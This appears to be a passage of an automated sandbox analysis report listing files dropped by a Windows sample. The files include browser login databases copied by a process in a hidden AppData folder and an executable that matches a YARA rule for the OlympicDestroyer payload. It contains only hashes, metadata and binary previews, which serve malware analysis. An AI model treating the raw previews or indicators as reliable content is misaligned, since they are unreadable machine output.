SHA-256:	1492B7AD3D3EECAFCFC571C38694E9BC466DD0C33D10832B2A70A9E5DE699142
SHA-512:	57709C6C45B8937F809090287B03475344869D0BD19B5F87FD942FDA27CBD87240DBEAC286CB78156988962F1C543A57CA52C08D7026C6C38B0A66863E4C6C5E
Malicious:	false
Preview:	.fcp............................d....................................................#.. ...........t%..@...........D&..........L....'..........d....-..............................................*....7...<....H...R....W...`........g....g...r....K........K................CAP_HEIGHT.X_HEIGHT.PIXEL_SIZE.POINT_SIZE.FOUNDRY_NAME.misc.FAMILY_NAME.tektronix.FONT.tekfont1.WEIGHT.RESOLUTION.RESOLUTION_X.RESOLUTION_Y.QUAD_WIDTH..........................................................................................................`.......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\fonts\misc\tekfont2.pcf

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	X11 Portable Compiled Font data, bit: LSB, byte: LSB first
Category:	dropped
Size (bytes):	6756
Entropy (8bit):	3.569230727224539
Encrypted:	false
SSDEEP:	96:FtQ663VBapldlA3SlwrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrC:FtQRzSPv
MD5:	C86CD67F3A72277AC304F42D5EEEEB83
SHA1:	6E37F2A3F6D532DE9C6902DD90ACCCE57A83F970
SHA-256:	2ABA6F959F1FAD575A36433A0CDB6B7CFFD10D5D58526538BEF1C3D8E9AC92E6
SHA-512:	F10559C946F6388FC14F92CE9853F6A8ADBD2B316DEB0625581CEED2123F87C783EFAAF582EC9FC2E2B35B02A0820F62C84EDD6451B9D3D72B1D2163CA075CA8
Malicious:	false
Preview:	.fcp............................d....................................... ...............@...........`...........L...............d...4...............................................*....7...<....H...R....W...`........g....g...r....K........K................CAP_HEIGHT.X_HEIGHT.PIXEL_SIZE.POINT_SIZE.FOUNDRY_NAME.misc.FAMILY_NAME.tektronix.FONT.tekfont2.WEIGHT.RESOLUTION.RESOLUTION_X.RESOLUTION_Y.QUAD_WIDTH..........................................................................................................`...............z........................z.............................\|...............................................................................}....................................................................................................................................................................z.........z.....................................................................................................................................................y...........

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\fonts\misc\tekfont3.pcf

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	X11 Portable Compiled Font data, bit: LSB, byte: LSB first
Category:	dropped
Size (bytes):	8544
Entropy (8bit):	3.1673539111380573
Encrypted:	false
SSDEEP:	192:BtnppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppA:nY
MD5:	3A60C67A5A2E1E539F955A502F8D19E2
SHA1:	86C640A3B02B5C5D7320382C3FDE382888D0B511
SHA-256:	14A5A18E968E807DD70290E52EFA0854D4E08E52DE571C892A1A0C0643C7A53D
SHA-512:	6CC07E7F01CA43573A2C7670AF97AC59411BB096A6B6700C425D62D930BF1C3110544C6377124705A746267BBE1C27971D80B70863A35B3D3F522E65FD245A88
Malicious:	false
Preview:	.fcp............................d....................................................... ...........t...@...........D...........L...............d....!..............................................*....7...<....H...R....W...`........g....g...r....K........K................CAP_HEIGHT.X_HEIGHT.PIXEL_SIZE.POINT_SIZE.FOUNDRY_NAME.misc.FAMILY_NAME.tektronix.FONT.tekfont3.WEIGHT.RESOLUTION.RESOLUTION_X.RESOLUTION_Y.QUAD_WIDTH..........................................................................................................`.......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\fonts\misc\term14.pcf

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	X11 Portable Compiled Font data, bit: MSB, byte: MSB first
Category:	dropped
Size (bytes):	18832
Entropy (8bit):	3.0784175743946594
Encrypted:	false
SSDEEP:	96:6z0pCb7vT/JeNG78/JwJJJJXJKiJJwKV9qgQo3/SdZRPRPCPe8RlZha8OoIOll0z:6z0pQr7bqLRPRPyPTZcAGz
MD5:	5C2486A13A72AD3BAACE0825068913E7
SHA1:	391FE4D4F8DED4A8272C31410A00380CB1D13817
SHA-256:	AE85A0037790BD9BDB14732F498F271791E32C09D358C1ECA052D26BA572B165
SHA-512:	4BBD69F56140242428C85DE549DCB7E94DB32CC3A1A414D10364582EF83FDB59DFE5FDF94E9EADEA504742BC8A85D85B8665D8FD31F24C62DC16B5FBB5D46D96
Malicious:	false
Preview:	.fcp............................d...P............................0..................d8.. ...........<<..@............>..........(... A..........d...HI...............................!....-...4....:...<....J...Q....`...a........l........w....K........K.................P................................................:....K...k....u...~......................g..............FOUNDRY.DEC.FAMILY_NAME.Terminal.WEIGHT_NAME.Medium.SLANT.R.SETWIDTH_NAME.Normal.ADD_STYLE_NAME..PIXEL_SIZE.POINT_SIZE.RESOLUTION_X.RESOLUTION_Y.SPACING.C.AVERAGE_WIDTH.CHARSET_REGISTRY.ISO8859.CHARSET_ENCODING.1.CAP_HEIGHT.X_HEIGHT.COPYRIGHT.Copyright (c) 1991 Digital Equipment Corporation. All Rights Reserved.._DEC_PRODUCTINFO.DECterm Fonts V2.2, 11-Nov-1991.FULL_NAME.Terminal.FONT.-DEC-Terminal-Medium-R-Normal--14-140-75-75-C-80-ISO8859-1.WEIGHT.RESOLUTION.QUAD_WIDTH.........................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\fonts\misc\termB14.pcf

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	X11 Portable Compiled Font data, bit: MSB, byte: MSB first
Category:	dropped
Size (bytes):	18832
Entropy (8bit):	3.0676648674572244
Encrypted:	false
SSDEEP:	96:6llInD7vT/JeNG7GvEdYJJJXJJBJJ7JJJYJJK6CQyU/odZRPRPCPe8RlZha8OoI3:6llItr7GvUELRPRPyPTZcAG7
MD5:	FC35361FE3577C7801186A967D480BCC
SHA1:	375E8DF5F0C2F4985413C2ADF22F66C0899420D2
SHA-256:	1236393977737D1B5281EEABF1B31E3B8D4202C26732A856EBE75E56DB51E38D
SHA-512:	08BFA14C1E9DBF2908D56376FD1C17633A24BA3D2655CAB522BB6AF529727D1F7C14391CE934F73080DB665B650236B9EEAE87CB87D4DAA9980C1784C8CF003F
Malicious:	false
Preview:	.fcp............................d...P............................0..................d8.. ...........<<..@............>..........(... A..........d...HI...............................!....-...2....8...:....H...O....^..._........j........u....K........K.................P................................................8....I...i....s..........................g..............FOUNDRY.DEC.FAMILY_NAME.Terminal.WEIGHT_NAME.Bold.SLANT.R.SETWIDTH_NAME.Normal.ADD_STYLE_NAME..PIXEL_SIZE.POINT_SIZE.RESOLUTION_X.RESOLUTION_Y.SPACING.C.AVERAGE_WIDTH.CHARSET_REGISTRY.ISO8859.CHARSET_ENCODING.1.CAP_HEIGHT.X_HEIGHT.COPYRIGHT.Copyright (c) 1991 Digital Equipment Corporation. All Rights Reserved.._DEC_PRODUCTINFO.DECterm Fonts V2.2, 11-Nov-1991.FULL_NAME.Terminal Bold.FONT.-DEC-Terminal-Bold-R-Normal--14-140-75-75-C-80-ISO8859-1.WEIGHT.RESOLUTION.QUAD_WIDTH........................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\locale\locale.alias

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ISO-8859 text
Category:	dropped
Size (bytes):	1311
Entropy (8bit):	5.043991854320561
Encrypted:	false
SSDEEP:	24:iX/RY62JghcpsP4SbTvgTqECrhW3cIFdgm:i5mJgco4Sbzg2E3cNm
MD5:	21395E15B61AACFAE532200530F68716
SHA1:	915CCE96A7B77F6A3CE527F38BD661D7FCEAA85F
SHA-256:	DC4436B6BEA7B682EEF1934F4DAD32CBE80BABAA04AB002BDE9993A5CF833E29
SHA-512:	B595E6D5744CC28CAB8ED4FC4DFE619A807A446A2AA14955F37312EBF89996455EBEAC9E22BB53C54922D03140079E7E72BEA156D94C6D0D568750E311A75000
Malicious:	false
Preview:	bokmal..nb_NO.ISO-8859-1.bokm.l..nb_NO.ISO-8859-1.catalan..ca_ES.ISO-8859-1.croatian.hr_HR.ISO-8859-2.czech..cs_CZ.ISO-8859-2.danish da_DK.ISO-8859-1.dansk..da_DK.ISO-8859-1.deutsch..de_DE.ISO-8859-1.dutch..nl_NL.ISO-8859-1.eesti..et_EE.ISO-8859-1.estonian.et_EE.ISO-8859-1.finnish fi_FI.ISO-8859-1.fran.ais.fr_FR.ISO-8859-1.french..fr_FR.ISO-8859-1.galego..gl_ES.ISO-8859-1.galician.gl_ES.ISO-8859-1.german..de_DE.ISO-8859-1.greek el_GR.ISO-8859-7.hebrew he_IL.ISO-8859-8.hrvatski.hr_HR.ISO-8859-2.hungarian hu_HU.ISO-8859-2.icelandic is_IS.ISO-8859-1.italian it_IT.ISO-8859-1.japanese.ja_JP.eucJP.japanese.euc.ja_JP.eucJP.ja_JP..ja_JP.eucJP.ja_JP.ujis.ja_JP.eucJP.japanese.sjis.ja_JP.SJIS.korean..ko_KR.eucKR.korean.euc .ko_KR.eucKR.ko_KR..ko_KR.eucKR.lithuanian lt_LT.ISO-8859-13.no_NO..nb_NO.ISO-8859-1.no_NO.ISO-8859-1 nb_NO.ISO-8859-1.norwegian nb_NO.ISO-8859-1.nynorsk..nn_NO.ISO-8859-1.polish pl_PL.ISO-8859-2.portug

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\zoneinfo\posixrules

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	timezone data (fat), version 2, 4 gmt time flags, 4 std time flags, no leap seconds, 235 transition times, 4 local time types, 16 abbreviation chars
Category:	dropped
Size (bytes):	3519
Entropy (8bit):	5.686129374774136
Encrypted:	false
SSDEEP:	48:nL045YlyFhj4kuUrIxWjgnYObCU8OpZUMbsaRn4yIHZBryfwuTl:lh8DU0xWjKR8OpDFIZVkJ
MD5:	E4CA381035A34B7A852184CC0DD89BAA
SHA1:	6E43D0B5A46ED5BA78DA5C7E9DCF319B27D769E7
SHA-256:	5306DEB14FBD5AFEB22B2DA69D2C165665DEBA82EFC3BF642499F77B7E8A9D58
SHA-512:	0CF20BBF7F271CECDFA0130CE07A62CEF9289E168A25E9D71D253A9B0AC565E2B2ACCB0A8BB41ACF59B756813C8C88154E7D2BDEE0D730117C8B86639DC7AA8F
Malicious:	false
Preview:	TZif2..........................................p...`...p...`.e.p....j.p.5.`.S....`.3...........p.i..R.K.4.~-.Qp.gJ`.\|3p.G,`.\.p.'.`.;.p...`...p...`.....`...............o...}..Ov..d_../X..M\|p..:..-^p..W`..@p..9`..p.#.p.`...u...@...U... ...5.................p..e...p..`.kp.d`..Mp.iF`.~/p.I(`.^.p.W...G-..7...'..........................`..p.`.p...`.o.p._y`.Oxp.?[`./Zp.(w...<p..Y...X...;...:......................w...p.`.`.p.P.`.@.p.0.`...p...`.......`...p.....gp..........f...e..yH..iG..Y..I)..9...)...")`.......`...p...`...p...`...p...` v..!..`"U..#j..$5..%J..&...'s.'..p).U.).p*.7.+..p,.T`-.ip..6`/~Kp0..`1gg.2r.`3GI.4R.`5'+.62.`7...8...8...9...:...;..<..p=...>..p?.b.@o.pA..`BO.pCda`D/vpEDC`E..G-_.G..I.A.I.l.J.#.K..pL.@`M\|kpN."`O\MpP..`Q</pRu.`S..pTU.`T..pV5.`V...X...X...Y...Z...[..\...].l.^d.._.N.`M.pa.k`b-.pcgM`d.xpeG/`e.Zpg'.`g.<pi..`i..pj..`k.:.l...mv..n...oU..p...q5..ro..s...tOy.t..pv8.`v..px.x`x..py.Z`z..p{.<`\|~gp}..`~^Ip...`................

C:\Users\user\AppData\Local\Temp\Mxt242\var\log\xwin\XWin.0.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe
File Type:	ASCII text, with very long lines (415), with CRLF line terminators
Category:	dropped
Size (bytes):	5727
Entropy (8bit):	5.555256924256713
Encrypted:	false
SSDEEP:	96:hh2vdn5tjmhCXuhX6suhs63hfohk/hzH/cAJg78gOcPInj4ghz9dr3MmuE4PhzC2:yn5BmhC+hqbhL3hfohk/hzH/cAJg78gt
MD5:	55D3E1EC55EEFC375156A9F746E5C256
SHA1:	87E2A5F15A9A50970D83F5B19F8AF06E666690F9
SHA-256:	9DD0555D2B9F5927F5B6FFFBBC0F686B3B08A02A564754F0EC31C795FF99570F
SHA-512:	D07548CD838DCF061AC81A129A19EB2332868599EEDC31CBD66951234941AB37E86EF384EFE45A0BC8E67401BDAEE39A4CA7EC5B53DA3C9CDAFD8CB2F9A6EFB8
Malicious:	false
Preview:	Welcome to the XWin X Server..Vendor: Moba/X..Release: 1.21.1.12..OS: Windows 10 [Windows NT 10.0 build 19045] x86-on-x64..Package: version built 2024-04-16....XWin was started with the following command line:....C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe .. -silent-dup-error -notrayicon -nolisten inet6 -hostintitle +bs .. -clipboard -nowgl -multiwindow -noreset :0 ....ddxProcessArgument - Initializing default screens..winInitializeScreenDefaults - primary monitor w 1280 h 1024..(==) FontPath set to /usr/share/fonts/misc/..(==) FontPath set to C:\Users\user\AppData\Local\Temp\Mxt242/usr/share/fonts/misc/..(==) FontPath set to /usr/share/fonts/TTF/..(==) FontPath set to C:\Users\user\AppData\Local\Temp\Mxt242/usr/share/fonts/TTF/..(==) FontPath set to /usr/share/fonts/OTF/..(==) FontPath set to C:\Users\user\AppData\Local\Temp\Mxt242/usr/share/fonts/OTF/..(==) FontPath set to /usr/share/fonts/Type1/..(==) FontPath set to C:\Users\user\AppData\Local\Temp\Mxt242/usr/shar

C:\Users\user\AppData\Local\Temp\Mxt242\var\log\xwin\browser_data433591684\Local State

Download File

Process:	C:\Users\user\AppData\Roaming\MyHiddenAppDataDir\MobServe.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	601509
Entropy (8bit):	6.009032047307258
Encrypted:	false
SSDEEP:	12288:v/zUE3ETdHB+LeuC6MeAOXw6VwIHDIu62IPXjHV:X6RHw1C6MqgIDjyPT1
MD5:	42C2EBC54581AC47FB5D8F01902DCEBF
SHA1:	706A4A789DEB72F11BD47B29417D06B083BD302F
SHA-256:	AF5EEFB41935639C5D8FCD3D6DA834832B62A44A93E856898C2664C6B7F78735
SHA-512:	8E391DE3E857F9E448E5A4478AC170C7CEB9E1D9B5904BF9B0491D68BFA3076EB1315159F94ED3D85A4895DC71D14C7774073B602C18AE0EF833A9876E199913
Malicious:	false
Preview:	{"browser":{"first_run_finished":true,"shortcut_migration_version":"117.0.5938.149"},"hardware_acceleration_mode_previous":true,"intl":{"app_locale":"en"},"legacy":{"profile":{"name":{"migrated":true}}},"management":{"platform":{"azure_active_directory":0,"enterprise_mdm_win":0}},"network_time":{"network_time_mapping":{"local":1.696499469977869e+12,"network":1.69649947e+12,"ticks":950784969.0,"uncertainty":2115320.0}},"os_crypt":{"app_bound_fixed_data":"AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAG7I4XamucEiJgTIvWNrX8QAAAAACAAAAAAAQZgAAAAEAACAAAAD/i5iZthvbAMtQI7LwVpFb6jmIRlnZBn3BOL+GZt4kogAAAAAOgAAAAAIAACAAAABrT9mzRTsNQCdkuszmZKjpexNj6pJ09kyX6bwi+21l8WABAAC2oOGGveU6vtEtyQAIMBMXo7f864ZX39/zY32wXs2ycQ6SoKTjYg7Br2GFeNLLP279dGg8Zuzkl8PZaQtQPJ+wYAAvzw/sRMCe0iF3uJ7Kw9zB62X16c4T+scYcq9Dmqv88jZ9QpusCOnz2QdwDmnuAjYAEFaWbKP7uQ+SnzdDWQHVXD1+dwbZpQWa8x21LgEmlB/JwHBUlXnGTlbJNM/86NOp0VESKNzRg9tYvr0QOVTugQn/8kgsBWz2hnKxt6/JKyLjCqmGrrVwBIqp4h98HPLgssce9hMqhqambQ6wEZM9vPGGQNfobT/qUkNaQU6RWKKKvKUTpYhs1Bsu5t24JQ6PZ4

C:\Users\user\AppData\Local\Temp\Mxt242\var\log\xwin\browser_data433591684\Login Data

Download File

Process:	C:\Users\user\AppData\Roaming\MyHiddenAppDataDir\MobServe.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Mxt242\var\log\xwin\browser_data836039973\Local State

Download File

Process:	C:\Users\user\AppData\Roaming\MyHiddenAppDataDir\MobServe.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	43978
Entropy (8bit):	6.091545972719474
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kozUXqgfbQ6tXLz40PhIUpQYqGwLWZkHUfG6kCvoX:z/Ps+wsI7yndxt3FqfyW0e6kaoX
MD5:	80F703B0878EDE6E912AED6851E05E96
SHA1:	CA2A2A3DBF5A7F7398AA3CCBDC3684AC73F530CF
SHA-256:	138167244ED1053EA75CA370A8F2B65738DFA5068D5E89A6324D181B3A2C29E3
SHA-512:	8CAEB351ADEB5CB0AD7C18981BC79D833628079DB57D2AF39A65BC81BA49B5B4BEFE00C87E0F1789FAA952C3DFC6B9FC481D3F1BE8B998780FBBEFA7E61C967F
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Temp\Mxt242\var\log\xwin\browser_data836039973\Login Data

Download File

Process:	C:\Users\user\AppData\Roaming\MyHiddenAppDataDir\MobServe.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Mxt242\var\log\xwin\server-0.xkm

Download File

Process:	C:\Users\user\AppData\Local\Temp\Mxt242\bin\xkbcomp_w32.exe
File Type:	Compiled XKB Keymap: lsb, version 15
Category:	dropped
Size (bytes):	12048
Entropy (8bit):	4.855668013318934
Encrypted:	false
SSDEEP:	192:ND29sY96vQOVFf5aSLusd+8RkyyQ5qtd76s2T:ND26vvFfcS6Z8ROQV
MD5:	E9DB09EACC51506BA19DB3EDE4D17E98
SHA1:	C4EB76CCE5E810CB6C5B5011331864321D7FCF20
SHA-256:	41E9F03E8EBE8195874E7BA5AC3EAEE81A3336BDE51DF59A573BEC405DE47C85
SHA-512:	F7A5E228DABAACB0DFA848FE8BDD0EAA7C1A9221B2D75DC7DB2C7010E45A20EC49C917D915D62475C59628D6408AD0DCBC9DEDAA66002013BDB60A09B29045CC
Malicious:	false
Preview:	.mkx..............D.......................l.......@........%.......&......D.......NumLock.....Alt.....LevelThree..LAlt....RAlt....RControl....LControl....ScrollLock..LevelFive...AltGr...Meta....Super...Hyper...........xfree86+aliases(qwerty).....?.MDSWESC.AE01AE02AE03AE04AE05AE06AE07AE08AE09AE10AE11AE12BKSPTAB.AD01AD02AD03AD04AD05AD06AD07AD08AD09AD10AD11AD12RTRNLCTLAC01AC02AC03AC04AC05AC06AC07AC08AC09AC10AC11TLDELFSHBKSLAB01AB02AB03AB04AB05AB06AB07AB08AB09AB10RTSHKPMULALTSPCECAPSFK01FK02FK03FK04FK05FK06FK07FK08FK09FK10NMLKSCLKKP7.KP8.KP9.KPSUKP4.KP5.KP6.KPADKP1.KP2.KP3.KP0.KPDLSYRQII5DLSGTFK11FK12HOMEUP..PGUPLEFTII65RGHTEND.DOWNPGDNINS.DELEKPENRCTLPAUSPRSCKPDVRALTBRK.LWINRWINMENUFK13FK14FK15FK16FK17KPDCLVL3ALT.KPEQSUPRHYPRXFERI02.NFERI04.AE13I06.I07.I08.I09.I0A.I0B.I0C.I0D.I0E.I0F.I10.I11.I12.I13.I14.I15.I16.I17.I18.I19.I1A.I1B.METAK59.I1E.I1F.I20.I21.I22.I23.I24.I25.I26.I27.I28.I29.K5A.I2B.I2C.I2D.I2E.I2F.I30.I31.I32.I33.I34.K5B.K5D.K5E.K5F.I39.I3A.I3B.I3C.K62.K63.K64.K65.K66.I42.I43.

C:\Users\user\AppData\Local\Temp\Mxt242\var\log\xwin\xkb_a06188

Download File

Process:	C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	327
Entropy (8bit):	4.2841731820712425
Encrypted:	false
SSDEEP:	6:j8gdfFNGlY8A84HH2NU7nlEuaCXAkTkut6nAkTku90iA2OppQLF9A2pv:5R2lYR7n28HaBTut6ATu9+LpQxiK
MD5:	D163F23F60D67350A7AF1D24019EA931
SHA1:	124C07A9C3B3D0FE0293751422209BA7CB3EC80D
SHA-256:	421FC20B985C2AF3D7F3F4CEAFC9271C3C9594915CBC4FCBC7480086C0745550
SHA-512:	11132922B60177CBC984DB29172C480B70FCFDE28B6A3CE7163691656C40A437242BDA8D2691DB57AB820D7789B75D0F0A8C42D33BA9AD4A23FAAF7997B254CF
Malicious:	false
Preview:	xkb_keymap "default" {.. xkb_keycodes { include "xfree86+aliases(qwerty)" };.. xkb_types { include "complete" };.. xkb_compatibility { include "complete" };.. xkb_symbols { include "pc+ch(de)+inet(pc105)" };.. xkb_geometry { include "pc(pc105)" };..};..

C:\Users\user\AppData\Local\Temp\chr5EE9.tmp

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\chr5F87.tmp

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\evb52F2.tmp

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1536
Entropy (8bit):	0.9868913680840394
Encrypted:	false
SSDEEP:	3:MpPqt/wlEh/jFkjXFeyxi4slltlml/MntlXErk9ltllPltllH7//llrll/ll+ll7:MxlEh/jKjXFeyclltAZmE/l//a7
MD5:	BCFF325767B046DA5B950D1D154B7785
SHA1:	EA3B58BAB447D48B9AFF7063356B65BD68DAE3C3
SHA-256:	9C1B3701ECBB83D1D187BCDC1394C8C15BC4EE1FAEA3AE5DCEC3DDFB8168D03D
SHA-512:	95F0E36E23D500CFD941DB32E491E54219CD262C2DD339A897384EB01241F96DA4DDBBEEB12E6C4CBAC39FCD1B85678304BA125480A966CFA19D477C162A1051
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*...........!.........................................................`6............................................. ...P............................................................................................................................P6.........................@........................................................................................................................................................................................................................................................................B..............@..P................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\temp_MobServe.exe

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	22998363
Entropy (8bit):	5.855542002935661
Encrypted:	false
SSDEEP:	196608:7J4Hvn01nopKM8POZjcDJ5tASic6bcyDb:cvnaopKVscDFFic6bcyDb
MD5:	074ED5F745FD9A2EF6F29FD2D9AFB07A
SHA1:	86A99DC6671F246AAE0C45F9AC678D5604A237F7
SHA-256:	F89541C6B15925915CB3BBA6E812FF868C99FFDA7581C866EC9DFB6B4EA1507F
SHA-512:	1629A50C06B2FABE1F911C4997727D4963BF1A99A1949507D1F6FE46657AA1000F28A9000B32C202DE4C3410315D1CB1823FE512CECB3750C8906D5C5392EE6D
Malicious:	false
Yara Hits:	Rule: OlympicDestroyer_1, Description: OlympicDestroyer Payload, Source: C:\Users\user\AppData\Local\Temp\temp_MobServe.exe, Author: kevoreilly
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d........\T..>....&.....H@..&y................@.............................@Z.....k._...`... ......................................p}.Y.....}..............`v..u............}............................. (v.(...................p.}.0............................text....G@......H@.................`..`.data....H...`@..J...N@.............@....rdata.. .1...D...1...D.............@..@/4...........Pv......4v.............@....pdata...u...`v..v...6v.............@..@.xdata...o....w..p....w.............@..@.bss....`....Px..........................edata..Y....p}.......x.............@..@.idata........}.......x.............@....CRT....`.....}......8x.............@....tls..........}......:x.............@....reloc........}......<x.............@..B/14...........~......,y.............@..B/29.......K...~...K..0y.............@..B/41.....'.......,...:..............@..B/55.....

C:\Users\user\AppData\Roaming\MyHiddenAppDataDir\MobServe.exe (copy)

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
